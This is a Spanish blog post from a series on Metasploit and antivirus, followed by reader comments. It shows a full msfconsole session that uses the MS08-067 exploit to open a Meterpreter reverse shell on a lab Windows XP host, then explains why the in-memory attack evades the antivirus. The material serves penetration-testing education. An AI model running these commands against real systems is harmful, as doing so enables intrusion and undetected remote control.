lunes, 2 de mayo de 2011

Metasploit & Antivirus (II): Explotación en Memoria

Ahora que ya tenemos sentada las bases de como funcionan los antivirus, vamos a empezar a hacer nuestras pruebas con un antivirus a ver que pasa.

Se eligió una versión gratuita de un antivirus comercial que no se identificará en estos posts (aunque si alguien reconoce en el screenshot el antivirus... pues lo reconoce :P). Las pruebas solo se van a realizar sobre un antivirus, por lo que es probable que otros antivirus bloqueen cosas que este no bloquea y viceversa, por eso es importante montarnos una maqueta con el antivirus exacto que está utilizando el sistema sobre el que estamos haciendo el test de intrusión.

Pues bueno, vamos al lío, vamos a utilizar el archi-conocido exploit para MS08-067 para entrar en un sistema protegido con un antivirus y vamos a inyectar una shell Meterpreter.

# ./msfconsole
> setg RHOST 172.16.146.146
> setg LHOST 172.16.146.132
> use windows/smb/ms08_067_netapi
> set PAYLOAD windows/meterpreter/reverse_tcp
> exploit
[*] Started reverse handler on 172.16.146.132:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 3 - lang:Spanish
[*] Selected Target: Windows XP SP3 Spanish (NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (749056 bytes) to 172.16.146.146
[*] Meterpreter session 1 opened (172.16.146.132:4444 -> 172.16.146.146:1158) at Sat Apr 30 09:19:44 +0200 2011
meterpreter >

Ya tenemos acceso al sistema, y en antivirus... nada de nada.
Aunque parezca que esto no debería ser así, es bastante lógico si tenemos en cuenta como funciona un antivirus y como funciona Meterpreter. Si recordáis, dijimos que un antivirus, por motivos de complejidad y eficiencia, no puede monitorizar absolutamente todas las llamadas a sistema, así que vamos a ver que acciones hace Meterpreter que parece que el antivirus no está monitorizando ninguna de ellas.
  1. El exploit lleva consigo el código del Stager "reverse_tcp".
  2. Se ejecuta "reverse_tcp", que únicamente reserva una zona en memoria y realiza una conexión, y todos los datos que le llegan desde esa conexión los guarda en esa zona de memoria y salta la ejecución a ella. En esa zona es donde se guarda el Payload que hace la inyección de la DLL.
  3. Una vez que se salta a este Payload, este realiza la inyección de la DLL en la memoria del proceso.
  4. A partir de aquí, ya todo depende de las acciones que realicemos con Meterpreter, pero el acceso lo tenemos ya.
La explotación no toca el disco para nada, y las acciones que realiza son razonablemente normales, y además el proceso explotado pertenece a SYSTEM, así que entre unas cosas y otras... es bastante lógico que el pobre Antivirus no se esté enterando de nada.

De hecho, si en este momento realizamos un escaneo de todo el sistema, el Antivirus no va a encontrar nada, a pesar de que tenemos el Meterpreter cargado como DLL de uno de los procesos del sistema:


En la próxima entrega vamos a utilizar otro exploit que, por la manera de explotar, si que toca el disco, y que es detectado como un ataque por el antivirus, a ver que podemos hacer...

8 comentarios :

f r a n j O dijo...

gracias!!! en la facultad no nos enseñan nada de esto... GRACIAS!

Anónimo dijo...

Saludos, muy bueno el post jeje y yo que creía en los antivirus, ahora tendré mas cuidado.

Anónimo dijo...

Gracias por tu tiempo en crear esta entrada, esperó que la proxima tenga mas contenido y profundice un poco mas.

Jose Selvi dijo...

@franjO: Ya...es una lástima pero que yo sepa no hay mucha asignatura de seguridad por ahí en las unis. Yo dí durante un par de años una asignatura de seguridad en la Universidad de Valencia, era bastante descriptiva, pero por lo menos se toquiteaba un Snort, se hacían cosas de seguridad web, en fin, unas pinceladillas.

Jose Selvi dijo...

@Anónimo(2): Ansioso! Esta entrada no tiene más que probarlo y que se vea que no hace nada, que tienes razón en que es muy sencilla, pero había que probarlo :P

X4NTh0r1A dijo...

Genial!!! En mi facultad tienen esta materia pero debido a que muchas personas son pocos amigas de este tema, no abren la materia... por lo cual el estudio es propio...
Pero menos mal existen personas con tremendas capacidades, que ofrecen su amplio conocimiento...
Como siempre, claro y concreto... :D

gorritsu dijo...

Tenía pendiente leer los POST de tu blog y bueno ... un poco tarde mi pregunta pero la hago.

Es una pregunta sencilla:
Actualmente los productos antivirus que se comercializan sobre todo para el apartado doméstico no solo incluyen el antivirus como tal sino que es una especie de "paquete" (antivirus, firewall, control parental, phishing, backup, ...)

Para esta prueba solo has utilizado puramente un antivirus o has utilizado una "paquete" ¿?

Si la respuesta es antivirus. La otra pregunta es, en caso de utilizar un "paquete" (perdón por la expresión) la conexión realizada desde el PC atacado lo podría detectar el firewall del "paquete" e identificarla como solicitud de conexión saliente no deseada ¿?

Jose Selvi dijo...

@gorritsu: Solo lo probé con un Antivirus y no tenia la suite entera gratuita, así que no puedo asegurarte nada.

Yo creo que el Firewall se centra en ataques de red, y que el contenido de los paquetes se analiza con el engine del Antivirus, así que la detección debería ser idéntica.

Solo deduzco, si no es así que alguien me corrija.